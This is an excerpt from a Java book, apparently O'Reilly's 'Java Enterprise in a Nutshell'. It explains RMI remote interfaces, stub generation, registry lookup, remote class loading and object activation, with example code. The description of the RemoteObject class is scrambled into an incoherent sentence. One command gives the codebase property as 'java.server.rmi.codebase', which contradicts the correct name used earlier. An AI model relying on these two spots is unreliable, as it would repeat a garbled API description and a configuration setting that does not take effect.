The remote object activation service is new to RMI as of Version 1.2 of the Java 2 platform. It provides a way for server objects to be started on an as-needed basis. Without remote activation, a server object has to be registered with the RMI registry service from within a running Java virtual machine. A remote object registered this way is only available during the lifetime of the Java VM that registered it. If the server VM halts or crashes for some reason, the server object becomes unavailable and any existing client references to the object become invalid. Any further attempts by clients to call methods through these now-invalid references result in RMI exceptions being thrown back to the client.

The RMI activation service provides a way for a server object to be activated automatically when a client requests it. This involves creating the server object within a new or existing virtual machine and obtaining a reference to this newly created object for the client that caused the activation. A server object that wants to be activated automatically needs to register an activation method with the RMI activation daemon running on its host. We'll discuss the RMI activation service in more detail later in the chapter.

3.1.3.3. Distributed garbage collection

The last of the remote object services, distributed garbage collection, is a fairly automatic process that you as an application developer should never have to worry about. Every server that contains RMI-exported objects automatically maintains a list of remote references to the objects it serves. Each client that requests and receives a reference to a remote object, either explicitly through the registry/naming service or implicitly as the result of a remote method call, is issued this remote object reference through the remote reference layer of the object's host process. The reference layer automatically keeps a record of this reference in the form of an expirable "lease" on the object. When the client is done with the reference and allows the remote stub to go out of scope, or when the lease on the object expires, the reference layer on the host automatically deletes the record of the remote reference and notifies the client's reference layer that this remote reference has expired. The concept of expirable leases, as opposed to strict on/off references, is used to deal with situations where a client-side failure or a network failure keeps the client from notifying the server that it is done with its reference to an object.

When an object has no further remote references recorded in the remote reference layer, it becomes a candidate for garbage collection. If there are also no further local references to the object (this reference list is kept by the Java VM itself as part of its normal garbage-collection algorithm), the object is marked as garbage and picked up by the next run of the system garbage collector.

Previous | Home | Next
2.13. JDBC 2.0 | Book Index | 3.2. Defining Remote Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Defining Remote Objects (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.2. Defining Remote Objects

Now that you have a basic idea of how Java RMI works, we can explore the details of creating and using distributed objects with RMI. As I mentioned earlier, defining a remote RMI object involves specifying a remote interface for the object, then providing a class that implements this interface. The remote interface and implementation class are then used by RMI to generate a client stub and server skeleton for your remote object. The communication between local objects and remote objects is handled using these client stubs and server skeletons. The relationships among stubs, skeletons, and the objects that use them are shown in Figure 3-2.

Figure 3-2. Relationships among remote object, stub, and skeleton classes

When a client gets a reference to a remote object (details on how this reference is obtained come later) and then calls methods on this object reference, there needs to be a way for the method request to get transmitted back to the actual object on the remote server and for the results of the method call to get transmitted back to the client. This is what the generated stub and skeleton classes are for. They act as the communication link between the client and your exported remote object, making it seem to the client that the object actually exists within its Java VM.

The RMI compiler (rmic) automatically generates these stub and skeleton classes for you. Based on the remote interface and implementation class you provide, rmic generates stub and skeleton classes that implement the remote interface and act as go-betweens for the client application and the actual server object. For the client stub class, the compiler generates an implementation of each remote method that simply packages up (marshals) the method arguments and transmits them to the server. For the server skeleton class, the RMI compiler generates another set of implementations of the remote methods, but these are designed to receive the method arguments from the remote method call, unpackage them, and make the corresponding method call on the object implementation. Whatever the method call generates (return data or an exception), the results are packaged and transmitted back to the remote client. The client stub method (which is still executing at this point) unpackages the results and delivers them to the client as the result of its remote method call.

So, the first step in creating your remote objects is to define the remote interfaces for the types of objects you need to use in a distributed object context. This isn't much different from defining the public interfaces in a nondistributed application, with the following exceptions:

  • Every object you want to distribute using RMI has to directly or indirectly extend an interface that extends the java.rmi.Remote interface.

  • Every method in the remote interface has to declare that it throws a java.rmi.RemoteException or one of the parent classes of RemoteException.[1]

    [1]Note that prior to Java 1.2, the RMI specification required that every method on a remote interface had to throw RemoteException specifically. In Java 1.2, this has been loosened to allow any superclass of RemoteException. The reason for this change is to make it easier to define generic interfaces that support both local and remote objects.

RMI imposes the first requirement to allow it to differentiate quickly between objects that are enabled for remote distribution and those that are not. As we've already seen, during a remote method invocation, the RMI runtime system needs to be able to determine whether each argument to the remote method is a Remote object or not. The Remote interface, which is simply a tag interface that marks remote objects, makes it easy to perform this check.

The second requirement is needed to deal with errors that can happen during a remote session. When a client makes a method call on a remote object, any number of errors can occur, preventing the remote method call from completing. These include client-side errors (e.g., an argument can't be marshaled), errors during the transport of data between client and server (e.g., the network connection is dropped), and errors on the server side (e.g., the method throws a local exception that needs to be sent back to the remote caller). The RemoteException class is used by RMI as a base exception class for any of the different types of problems that might occur during a remote method call. Any method you declare in a Remote interface is assumed to be remotely callable, so every method has to declare that it might throw a RemoteException, or one of its parent interfaces.

Example 3-3 shows a simple remote interface that declares two methods: doThis() and doThat(). These methods could do anything that we want; in our Account example, we had remote methods to deposit, withdraw, and transfer funds. Each method takes a single String argument and returns a String result. Since we want to use this interface in an RMI setting, we've declared that the interface extends the Remote interface. In addition, each method is declared as throwing a RemoteException.

Example 3-3. The ThisOrThatServer Interface

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface ThisOrThatServer extends Remote {
  public String doThis(String todo) throws RemoteException;
  public String doThat(String todo) throws RemoteException;
}

With the remote interface defined, the next thing we need to do is write a class that implements the interface. Example 3-4 shows the ThisOrThatServerImpl class, which implements the ThisOrThatServer interface.

Example 3-4. Implementation of the ThisOrThatServer

import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;

public class ThisOrThatServerImpl
  extends UnicastRemoteObject implements ThisOrThatServer {

  public ThisOrThatServerImpl() throws RemoteException {}

  // Remotely accessible methods
  public String doThis(String todo) throws RemoteException {
    return doSomething("this", todo);
  }

  public String doThat(String todo) throws RemoteException {
    return doSomething("that", todo);
  }

  // Non-remote methods
  private String doSomething(String what, String todo) {
    String result = "Did " + what + " to " + todo + ".";
    return result;
  }
}

This class has implementations of the doThis() and doThat() methods declared in the ThisOrThatServer interface; it also has a nonremote method, doSomething(), that is used to implement the two remote methods. Notice that the doSomething() method doesn't have to be declared as throwing a RemoteException, since it isn't a remotely callable method. Only the methods declared in the remote interface can be invoked remotely. Any other methods you include in your implementation class are considered nonremote (i.e., they are only callable from within the local Java virtual machine where the object exists).

3.2.1. Key RMI Classes for Remote Object Implementations

You probably noticed that our ThisOrThatServerImpl class also extends the UnicastRemoteObject class. This is a class in the java.rmi.server package that extends java.rmi.server.RemoteServer, which itself extends java.rmi.ser-ver.RemoteObject, the base class for all RMI remote objects. There are four key classes related to writing server object implementations:

RemoteObject

RemoteObject implements both the Remote and java.rmi.server package, it is used by both the Serializable interfaces. Although the RemoteObject class is in the client and server portions of a remote object reference. Both client stubs and server implementations are subclassed (directly or indirectly) from RemoteObject. A RemoteObject contains the remote reference for a particular remote object.

RemoteObject is an abstract class that reimplements the equals(), hashCode(), and toString() methods inherited from Object in a way that makes sense and is practical for remote objects. The equals() method, for example, is implemented to return true if the internal remote references of the two RemoteObject objects are equal, (i.e., if they both point to the same server object).

RemoteServer

RemoteServer is an abstract class that extends RemoteObject. It defines a set of static methods that are useful for implementing server objects in RMI, and it acts as a base class for classes that define various semantics for remote objects. In principle, a remote object can behave according to a simple point-to-point reference scheme; it can have replicated copies of itself scattered across the network that need to be kept synchronized; or any number of other scenarios. JDK 1.1 supported only point-to-point, nonpersistent remote references with the UnicastRemoteObject class. The Java 2 SDK 1.2 has introduced the RMI activation system, so it provides another subclass of RemoteServer, Activatable.

UnicastRemoteObject

This is a concrete subclass of RemoteServer that implements point-to-point remote references over TCP/IP networks. These references are nonpersistent: remote references to a server object are only valid during the lifetime of the server object. Before the server object is created (inside a virtual machine running on the host) or after the object has been destroyed, a client can't obtain remote references to the object. In addition, if the virtual machine containing the object exits (intentionally or otherwise), any existing remote references on clients become invalid and generate RemoteException objects if used.

Activatable

This concrete subclass of RemoteServer is part of the new RMI object activation facility in Java 1.2 and can be found in the java.rmi.activation package. It implements a server object that supports persistent remote references. If a remote method request is received on the server host for an Activatable object, and the target object is not executing at the time, the object can be started automatically by the RMI activation daemon.

Previous | Home | Next
3.1. Introduction to RMI | Book Index | 3.3. Creating the Stubs and Skeletons
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating the Stubs and Skeletons (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.3. Creating the Stubs and Skeletons

After you define the remote Java interface and implementation class, you compile them into Java bytecodes using a standard Java compiler. Then you use the RMI stub/skeleton compiler, rmic, to generate the stub and skeleton interfaces that are used at either end of the RMI communication link, as was shown in Figure 3-1. In its simplest form, you can run rmic with the fully qualified classname of your implementation class as the only argument. For example, once we've compiled the ThisOrThatServer and ThisOrThatServerImpl classes, we can generate the stubs and skeletons for the remote ThisOrThatServer object with the following command (Unix version):

% rmic ThisOrThatServerImpl

If the RMI compiler is successful, this command generates the stub and skeleton classes, ThisOrThatServerImpl_Stub and ThisOrThatServerImpl_Skel, in the current directory. The rmic compiler has additional arguments that let you specify where the generated classes should be stored, whether to print warnings, etc. For example, if you want the stub and skeleton classes to reside in the directory /usr/local/classes, you can run the command using the -d option:

% rmic -d /usr/local/classes ThisOrThatServerImpl

This command generates the stub and skeleton classes in the specified directory. A full description of the rmic utility and its options is given in Chapter 9, RMI Tools.

Previous | Home | Next
3.2. Defining Remote Objects | Book Index | 3.4. Accessing Remote Objects as a Client
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Accessing Remote Objects as a Client (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.4. Accessing Remote Objects as a Client

Now that we've defined a remote object interface and its server implementation and generated the stub and skeleton classes that RMI uses to establish the link between the server object and the remote client, it's time to look at how you make your remote objects available to remote clients.

3.4.1. The Registry and Naming Services

The first remote object reference in an RMI distributed application is typically obtained through the RMI registry facility and the Naming interface. Every host that wants to export remote references to local Java objects must be running an RMI registry daemon of some kind. A registry daemon listens (on a particular port) for requests from remote clients for references to objects served on that host. The standard Sun Java SDK distribution provides an RMI registry daemon, rmiregistry. This utility simply creates a Registry object that listens to a specified port and then goes into a wait loop, waiting for local processes to register objects with it or for clients to connect and look up RMI objects in its registry. You start the registry daemon by running the rmiregistry command, with an optional argument that specifies a port to listen to:

objhost% rmiregistry 5000 &

Without the port argument, the RMI registry daemon listens on port 1099. Typically, you run the registry daemon in the background (i.e., put an & at the end of the command on a Unix system or run start rmiregistry [port] in a DOS window on a Windows system) or run it as a service at startup.

Once the RMI registry is running on a host, you can register remote objects with it using one of these classes: the java.rmi.registry.Registry interface, the java.rmi.registry.LocateRegistry class, or the java.rmi.Naming class.

A Registry object represents an interface to a local or remote RMI object registry. The bind() and rebind() methods can register an object with a name in the local registry, where the name for an object can be any unique string. If you try to bind() an object to a name that has already been used, the registry throws an AlreadyBoundException. If you think that an object may already be bound to the name you want to register, use the rebind() method instead. You can remove an object binding using the unbind() method. Note that these three methods (bind(), rebind(), and unbind()) can be called only by clients running on the same host as the registry. If a remote client attempts to call these methods, the client receives a java.rmi.AccessException. You can locate a particular object in the registry using the lookup() method, while list() returns the names of all the objects registered with the local registry. Note that only Remote objects can be bound to names in the Registry. Remote objects are capable of supporting remote references. Standard Java classes are not, so they can't be exported to remote clients through the Registry.

The LocateRegistry class provides a set of static methods a client can use to get references to local and remote registries, in the form of Registry objects. There are four versions of the static getRegistry() method, so that you can get a reference to either a local registry or a remote registry running on a particular host, listening to either the default port (1099) or a specified port. There's also a static createRegistry() method that takes a port number as an argument. This method starts a registry running within the current Java VM on the given local port and returns the Registry object it creates.

Using the LocateRegistry and Registry interfaces, we can register one of our ThisOrThatServerImpl remote objects on the local host with the following code:

ThisOrThatServerImpl server = new ThisOrThatServerImpl();
Registry localRegistry = LocateRegistry.getRegistry();
try {
  localRegistry.bind("TTServer", server);
}
catch (RemoteException re) { // Handle failed remote operation }
catch (AlreadyBoundException abe) { // Already one there }
catch (AccessException ae) { // Shouldn't happen, but... }

If this operation is successful (i.e., it doesn't raise any exceptions), the local registry has a ThisOrThatServerImpl remote object registered under the name "TTServer." Remote clients can now look up the object using a combination of the LocateRegistry and Registry interfaces, or take the simpler approach and use the Naming class.

The Naming class lets a client look up local and remote objects using a URL-like naming syntax. The URL of a registered RMI remote object is typically in the format shown in Figure 3-3. Notice that the only required element of the URL is the actual object name. The protocol defaults to rmi:, the hostname defaults to the local host, and the port number defaults to 1099. Note that the default Naming class provided with Sun's Java SDK accepts only the rmi: protocol on object URLs. If you attempt to use any other protocol, a java.net.MalformedURLException is thrown by the lookup() method.

If we have a client running on a remote host that wants to look up the ThisOrThatServerImpl we registered, and the ThisOrThatServerImpl object is running on a host named rmiremote.farley.org, the client can get a remote reference to the object with one line of code:

ThisOrThatServer rmtServer =
  (ThisOrThatServer)Naming.lookup("rmi://rmiremote.farley.org/TTServer");

If we have a client running on the same host as the ThisOrThatServerImpl object, the remote reference can be retrieved using the degenerate URL:

ThisOrThatServer rmtServer = (ThisOrThatServer)Naming.lookup("TTServer");

Figure 3-3. Anatomy of an RMI object URL

Alternately, you can use the LocateRegistry and Registry interfaces to look up the same object, using an extra line of code to find the remote Registry through the LocateRegistry interface:

Registry rmtRegistry = LocateRegistry.getRegistry("rmiremote.farley.org");
ThisOrThatServer rmtServer =
    (ThisOrThatServer)rmtRegistry.lookup("TTServer");

When you look up objects through an actual Registry object, you don't have the option of using the URL syntax for the name, because you don't need it. The hostname and port of the remote host are specified when you locate the Registry through the LocateRegistry interface, and the RMI protocol is implied, so all you need is the registered name of the object. With the Naming class, you can reduce a remote object lookup to a single method call, but the name must now include the host, port number, and registered object name, bundled into a URL. Internally, the Naming object parses the host and port number from the URL for you, finds the remote Registry using the LocateRegistry interface, and asks the Registry for the remote object using the object name in the URL.

The principal use for the Registry and Naming classes in an RMI application is as a means to bootstrap your distributed application. A server process typically exports just a few key objects through its local RMI registry daemon. Clients look up these objects through the Naming facility to get remote references to them. Any other remote objects that need to be shared between the two processes can be exported through remote method calls.

3.4.2. Remote Method Arguments and Return Values

As I've already mentioned, a critical element of executing a remote method call is the marshalling and unmarshalling of the method arguments and, once the method has executed, the reverse marshalling and unmarshalling of the method's return value. RMI handles this process for you automatically, but you need to understand how different types of objects are transmitted from the method caller to the server object and back again and, more importantly, you need to know which types of objects can't be used in remote method calls at all.

When you call a method on a remote object, the arguments to the method have to be serializable. That is, they need to be primitive Java data types (like int, float, etc.) or Java objects that implement java.io.Serializable. The same restriction applies to the return value of the remote method. This restriction is enforced at runtime, when you actually make the remote method call, rather than at compile time, when you generate the stubs and skeletons using the rmic compiler.

The RMI stub/skeleton layer decides how to send method arguments and return values over the network, based on whether a particular object is Remote, Serializable, or neither:

  • If the object is a Remote object, a remote reference for the object is generated, and the reference is marshaled and sent to the remote process. The remote reference is received on the other end and converted into a stub for the original object. This process applies to both method arguments and return values.

  • If the object is Serializable but not Remote, the object is serialized and streamed to the remote process in byte form. The receiver converts the bytes into a copy of the original object.

  • If the method argument or return value is not serializable (i.e., it's not a primitive data type or an object that implements Serializable), the object can't be sent to the remote client, and a java.rmi.MarshalException is thrown.

The principal difference between remote and nonremote objects is that remote objects are sent by reference, while nonremote, serializable objects are sent by copy. In other words, a remote reference maintains a link to the original object it references, so changes can be made to the original object through the remote stub. If the server object calls update methods on an argument to a remote method, and you want the updates to be made on the original object on the client side, the argument needs to be a Remote object that automatically exports a stub to the server object. Similarly, if the return value of a remote method call is intended to be a reference to an object living on the server, the server implementation needs to ensure that the object returned is a Remote object.

3.4.3. Factory Classes

When a reference to a remote object is obtained through the RMI registry and then used to request additional remote references, the registered remote object is often referred to as a factory class.

Factory classes are useful in distributed applications that use remote objects because in most cases you can't predict beforehand the kind and number of remote objects that will need to be shared between two processes. To make a remote object visible to clients through the RMI registry service, you need to explicitly create the object inside a Java VM on the server and then register that object using the bind() or rebind() method on the Registry. Using remote references obtained through method calls on factory objects, however, the client application can dynamically request the creation of new remote objects, without the objects being registered individually with the server registry.

As an example, suppose we're building a remote banking system, using the Account object we saw earlier in the chapter. We want to set up a centralized server that provides account services to remote clients running on PCs, embedded in ATMs, etc. On the server, we could run an RMI registry, create an Account object for every account we have on record, and register each one with the RMI registry service using the account name. In this scheme, registering accounts with the RMI registry goes something like this:

Registry local = LocateRegistry.getRegistry();
local.bind("Abrams, John", new AccountImpl("John Abrams"));
local.bind("Barts, Homer", new AccountImpl("Homer Barts"));
  .
  .
  .

As you can imagine, this is quite unwieldy in practice. Starting the server can take a long time, as thousands of accounts need to be registered, many of them unnecessarily, since many accounts may not see any activity before the next downtime. More importantly, accounts that are created or closed during the server's lifetime somehow need to be added or removed from the RMI registry, as well as from the bank's database of accounts. A much more sensible approach is to define a factory class for Account objects, along the lines of the following interface:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface AccountManager extends Remote {
  public Account getAccount(String name) throws RemoteException;
  public boolean newAccount(Account s) throws RemoteException;
}

The AccountManager lets a client ask for an account by name, using the getAccount() remote method. The method returns a reference to an Account object that corresponds to the account. Once the client has the Account reference, transactions against the account can be done through method calls on the Account object. The AccountManager also has a newAccount() method that allows clients to add new accounts to the manager's underlying database.

The server implementation of the getAccount() method simply needs to look up the named account in the account database, create an AccountImpl object to represent the account, and return the object to the remote client as a remote reference. Since Account objects are Remote objects, the RMI remote reference layer automatically creates a remote reference for the Account object, and the client that called the getAccount() method receives a stub for the Account object on the server.

Using the factory object to find accounts is more manageable than using the RMI registry. The bank maintains a database of accounts and their status, so the server implementation of the AccountManager can access that database directly to find accounts and create corresponding Account remote objects. Trying to keep the RMI registry in sync with the bank database makes the registry an unnecessary shadow of the main database of accounts, giving the bank two databases to maintain.

Previous | Home | Next
3.3. Creating the Stubs and Skeletons | Book Index | 3.5. Dynamically Loaded Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dynamically Loaded Classes (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.5. Dynamically Loaded Classes

The RMI runtime system has a dynamic class-loading facility that loads the classes it needs while executing remote method calls. In some situations, you don't need to worry much about how your application classes are obtained by the various agents in an RMI application. This is especially true if you have direct access to all hosts involved in the distributed system (i.e., if you can install your application classes in the local CLASSPATH for each machine participating in the application). For instance, when discussing the earlier Account example, I assumed that all the relevant classes (Account, AccountImpl, stub, and skeleton classes) were installed on both the client and the server. However, if your distributed application involves remote agents running on hosts that are not directly under your control, you need to understand how RMI loads classes at runtime, so you can ensure that each remote agent can find the classes it needs in order to run.

As with any Java application, the Java runtime system is responsible for loading the classes needed to initiate an RMI session. Starting an interaction with a remote object means loading the RMI API classes themselves, as well as the base interface for the remote object and the stub class for the remote interface. On the server side, the skeleton class for the remote object and the actual implementation class need to be loaded in order to run the server object that is being remotely exported.

The classes that are referenced directly by a given Java class are normally loaded by the same class loader that loaded the class itself. So, in an RMI client that does a Naming lookup to find a remote object, the stub interface for the remote object is loaded using the class loader for the class doing the lookup. If the RMI client is a Java application (started using the java command to invoke the main() method on an object), the default (local) class loader tries to find the remote interface locally, from the local CLASSPATH. If the RMI client is an applet loaded in a web page, the AppletClassLoader tries to look for the remote interface on the applet's host, in the codebase of the applet.

The RMI runtime system provides its own class loader, the RMIClassLoader, to augment the default class loading process I just described. The RMIClassLoader loads stubs and skeleton classes for remote interfaces, as well as the classes for objects used as remote method arguments or return values. These classes usually aren't explicitly referenced by your RMI application itself, but they are needed by the RMI runtime system for generating remote references and marshalling/unmarshalling method arguments and return values.

When it's loading the bytecodes for class definitions, the RMI runtime system first attempts to use the default class loader for the local context (i.e., an AppletClassLoader for an applet or the system class loader for a Java application). If the referenced class isn't found using the default local class loader, the RMIClassLoader tries to load the class bytecodes remotely according to the procedures explained next.

3.5.1. Configuring Clients and Servers for Remote Class Loading

When the RMI runtime system marshals a remote object stub, method argument, or return value, it encodes a URL in the marshaled bytestream to tell the process on the receiving end of the stream where to look for the class file for the marshaled object. If the class for the object being marshaled was loaded by a nondefault class loader (e.g., the AppletClassLoader or the RMIClassLoader), the codebase of that class loader is encoded in the marshaled stream. If the class was loaded by the default class loader from the local CLASSPATH, the value of the java.rmi.server.codebase property for the Java VM marshalling the object is sent in the stream. This property is not set by default in the Java VM, so you need to make sure that it's set to a URL that points to the location of the necessary class files. One way to do this is to include a command-line argument when starting the Java VM, as in:

% java -Djava.rmi.server.codebase=http://objhost.org/classes/RMIProcess

Here we're starting a Java process with its codebase set to http://objhost.org/classes /. This means that any remote process that needs to load classes for objects received from this process during an RMI session should use this HTTP URL in order to find them (if the classes can't be found on the local CLASSPATH, that is). This applies either if RMIProcess is serving remote objects itself through an RMI registry or if RMIProcess is passing objects into methods it is calling on other remote objects. In the first case, a remote client that needs to load the stub classes for the objects exported by RMIProcess uses the codebase to find these classes. In the second case, a remote process uses the codebase to load the classes for method arguments that RMIProcess is passing into remote method calls it makes.

If an RMI runtime system is trying to unmarshal an object stub, method argument, or return value and it doesn't find the class using the default class loader (e.g., the system class loader, which looks on the local CLASSPATH first), the RMIClassLoader can use the URL in the marshal stream to look for the class bytecodes remotely. The RMIClassLoader takes the URL from the marshaled bytestream and opens a URL connection to the specified host to load the needed classes. If both the local class search and this remote URL search fail to find the required classes, the unmarshal operation generates an exception, and the remote method call fails.

Note that in order for a Java runtime system to even attempt to load classes remotely, it has to have a security manager installed that allows remote class loading. The java.rmi.RMISecurityManager can be used for this. In both your RMI object server and clients, include the following line before any RMI calls:

System.setSecurityManager(new RMISecurityManager());

If you don't set the security manager, the Java VM is allowed to look for classes only locally, and your RMI calls will work only if all of the required classes can be found on the local CLASSPATH.

Another issue with dynamically loading remote classes is that the default Java security policy doesn't allow all the networking operations required to resolve a class from a remote host. So, if you have an RMI client or server that needs to resolve classes remotely, you need to use a policy file that opens up network permissions to allow this. I'm not going to go into the details of network policies here or the syntax of the security policy file,[2] but you will need to add the following line to the policy file on the RMI client:

[2]For details on Java security policies and policy files, see Java Security, by Scott Oaks (O'Reilly).

permission java.net.SocketPermission "objhost.org", "accept,connect";

This line gives the RMI object server objhost.org the permission to open connections to the local machine. This is needed to bypass the stricter rules imposed by the RMISecurityManager. Once you've made a modified policy file, you can specify it on the command line when you start your RMI process, in a similar way to setting the codebase property:

% java -Djava.security.policy=mypolicy.txt RMIProcess

As a simple example, suppose we want to use our earlier Account example to export an Account object on one host and access that Account on another host where the only class available locally is the Account interface class itself. On the server, we start an RMI registry[3] and run the RegAccount class as before, but since we want remote clients to be able to load the stub classes remotely, we need to set the codebase property to where the clients can find these classes:

[3] Note that in order for the RMI registry to recognize and pass along the codebase property you specify, it has to be started in such a way that it can't find any of the remotely loaded classes on its CLASSPATH. So start your RMI registry with a CLASSPATH that doesn't include the stub/skeleton classes, etc., then run your RMI server with a CLASSPATH that includes all required classes.

% java -Djava.server.rmi.codebase=http://objhost.org/classes/ RegAccount
Registered account.

We've setting the codebase to http://objhost.org/classes/, so we have to make sure that an HTTP server is running on the objhost.org machine and that the necessary class files (e.g., the AccountImpl stub class) are in the classes directory of that HTTP server's document root.

Now we can run the AccountClient class on the remote client as before, but the client's host machine doesn't have the stub class for the Account remote object available locally. When the AccountClient tries to look up the remote Account object, we want the stub class to be loaded remotely. Two simple changes to our Account example make this possible. First, add a line to the AccountClient main() method that sets the RMISecurityManager, in order to allow for remote class loading:

import java.rmi.Naming;
import java.rmi.RMISecurityManager;

public class AccountClient {
  public static void main(String argv[]) {
    try {
      // Set the RMI security manager,
      // in case we need to load remote classes
      System.setSecurityManager(new RMISecurityManager());

      // Lookup account object
      Account jimAcct = (Account)Naming.lookup("rmi://objhost.org/JimF");
      .
      .
      .

The other change is to use a more lenient policy file when running AccountClient so the necessary network operations can be performed. Again, I won't discuss the syntax of the policy file here, but assuming we've put the required policy settings into a file named rmipolicy.txt, we can start the client like so:

% java -Djava.security.policy=rmipolicy.txt AccountClient
Deposited 12,000 into account owned by JimF
Balance now totals: 12000.0

3.5.2. Loading Classes from Applets

Virtually all the steps I just outlined for running an RMI client to allow it to remotely load classes apply to applets as well. The only difference is that the classes for applets are loaded using an AppletClassLoader, which checks the applet's codebase for any classes required to run the applet. The default security policy for applets already allows for remote loading of classes, since this is how an applet works in the first place, so there's no need to change the security policy when using RMI within an applet. All you need to do to ensure that the applet finds the remote interface and stub class for the RMI object is to put them in the server directory that corresponds to the applet's codebase.

Previous | Home | Next
3.4. Accessing Remote Objects as a Client | Book Index | 3.6. Remote Object Activation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Remote Object Activation (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.6. Remote Object Activation

Automatic activation of remote objects is a new feature in RMI as of Java 1.2. The activation subsystem in RMI provides you with two basic features: the ability to have remote objects instantiated (activated) on-demand by client requests, and the ability for remote object references to remain valid across server crashes, making the references persistent. These features can be quite useful in certain types of distributed applications.

For example, think back to the AccountManager class we discussed when we talked about factory objects. We might not want to keep the AccountManager running on our server 24 hours a day; perhaps it consumes lots of server resources (memory, database connections, etc.), so we don't want it running unless it is being used. Using the RMI activation service, we can set up the AccountManager so that it doesn't start running until the first client requests an Account. In addition, after some period of inactivity, we can have the AccountManager shut down to conserve server resources and then reactivated the next time a client asks for an Account.

If a remote object is made activatable, it can be registered with the RMI registry without actually being instantiated. Normally, RMI remote objects (based on the UnicastRemoteObject interface) provide only nonpersistent references to themselves. Such a reference can be created for a client only if the referenced object already exists in a remote Java VM. In addition, the remote reference is valid only during the lifetime of the remote object. The remote object activation service adds support for persistent remote references that can be created even if the remote object is not running at the time of the request and that can persist beyond the lifetime of an individual server object.

The key features provided by the RMI activation service include:

  • The ability to automatically create remote objects, triggered by requests for references to these objects.

  • Support for activation groups, in which groups of activatable remote objects are executed in the same Java VM, which is automatically started by the activation service if needed.

  • The ability to restart remote objects if they exit or are destroyed due to a system failure of some kind. This can add a certain degree of fault tolerance to RMI applications.

In the RMI activation system, activatable objects belong to activation groups, and each activation group runs within its own Java VM. If you don't group your activatable objects, simply assigning a new activation group to each activatable object you create, then each object runs inside a separate Java VM.

You typically define an activatable remote object by:

  • Subclassing your remote object implementation from the Activatable class provided in the java.rmi.activation package

  • Providing activation constructors in the server implementation

  • Registering the object and its activation method with the activation service

If you want remote clients to directly access your activatable object, you also need to register the object with the RMI registry, so that it can be found by name on the network. You can register an activatable class with the registry without actually creating an instance of the remote object, as we'll see shortly.

You can also create an activatable object without subclassing the Activatable class. This might be necessary if you need to extend another class and the Java single-inheritance limit keeps you from also extending Activatable. For most of this section, we'll just discuss the case where you're subclassing Activatable; I'll only mention this other approach when needed.

3.6.1. Persistent Remote References

The primary difference between an activatable remote object and a nonactivatable one is that a remote reference to an activatable object doesn't need to have a "live" object behind it. If an activatable object is not running (e.g., it hasn't been constructed yet, or it has been garbage-collected by its Java VM, or its VM has exited), a remote reference to the object can still be exported to a client. The client receives a stub, as usual, and can make remote method invocations through the stub. When the first method is invoked, the activation service running on the server sees that the object is not active and goes about activating the object for the client. If the object doesn't have a VM to run in, the activation system starts one. The object is then activated using information that has been registered with the activation system. This information includes the object's class name, a URL that can load the class bytecodes if they're not found in the local CLASSPATH, and data to pass into the object's activation constructor. Once the object has been activated, the method invocation takes place, and the results are marshaled and sent back to the client.

As long as the object stays running, future method requests are handled as usual. If the object stops running for some reason (e.g, it is garbage-collected, or its VM dies), the next method request triggers the activation service again, and the object is reactivated. This is what is meant by persistent remote references: remote references to activatable objects can persist across multiple lifetimes of the actual server object.

3.6.2. Defining an Activatable Remote Object

Naturally, before you can register and use an activatable object with the RMI activation system, you need to define the remote interface and the server implementation for the object. The java.rmi.activation package provides the classes you need to define an activatable remote object. You usually define a remote object as activatable by subclassing it from Activatable and defining a special constructor that activates the object. You also have to register the object with the activation service on the server host.

Other than that, the implementation of an activatable remote object is similar to that of a nonactivatable one. You start with a remote interface that contains the methods you want to export from your object. The interface should extend Remote, and each method should throw a RemoteException (or, as of Java 1.2, any parent of RemoteException). The server implementation implements this interface and extends a concrete implementation of the java.rmi.server.RemoteServer class. Since you're defining an activatable remote object, you typically extend java.rmi.activation.Activatable directly and use its constructors to initialize, register, and activate your remote object. If you choose not to extend Activatable directly, you have to use the static exportObject() methods on the Activatable class to register your object with the activation runtime system.

3.6.2.1. The Activatable class

The Activatable class has four constructors. Here are signatures for two of them:

protected Activatable(String src, MarshalledObject data,
   boolean restart, int port) throws RemoteException
protected Activatable(String src, MarshalledObject data,
   boolean restart, int port, RMIClientSocketFactory csfactory,
   RMIServerSocketFactory ssfactory) throws RemoteException

These two constructors are initialization constructors. You use them when you decide to proactively create one of your remote objects and register it with the RMI activation service. In this case, the object already exists when a client first makes a method request on it, but if the object is destroyed, the next client request causes the object to be reactivated. These constructors register an object with the local activation service and export the object so that it can receive remote method requests. Both constructors have the following arguments in common:

  • The String parameter is a URL that indicates where class bytecodes required by this object can be located. This information is exported to a remote client so it can dynamically load classes required to unmarshal method return values, for example.

  • The MarshalledObject parameter provides initialization data for the object; this parameter is necessary because data is typically sent from the activation daemon's VM to the VM designated to run the activatable object and the two might not be the same (more on this later).

  • The boolean flag indicates whether the object should be automatically recreated when its home VM or its activation group is restarted (e.g., after a server restart).

  • The int parameter specifies the port on which the object is exported. A port of zero tells the RMI runtime system to export the object on a random open port.

The second initialization constructor takes custom client and server socket factories that create socket communications between the server and the clients of the object. Customized socket factories are a new feature in RMI as of the Java 2 SDK 1.2. I won't discuss them in this chapter, but you can consult the RMI API reference in Part 3, "API Quick Reference" for more details.

The other two Activatable constructors have the following signatures:

protected Activatable(ActivationID id, int port) throws RemoteException
protected Activatable(ActivationID id, int port,
   RMIClientSocketFactory csfactory, RMIServerSocketFactory ssfactory)
   throws RemoteException

These constructors are (re)activation constructors. The activation system uses them to activate a remote object that has received a remote method request, but isn't currently active. The ActivationID is a persistent ID issued by the activation system for the remote object, and the port number is the port that exports the remote object. The second constructor again takes custom server and client socket factories.

The Activatable class also has a set of exportObject() methods that correspond to the constructors I've just described. You can use these methods when an activatable object doesn't directly extend the Activatable class. You call the appropriate exportObject() methods from within the constructors of the class, so they serve the same function as calling the Activatable constructors during initialization of an Activatable subclass.

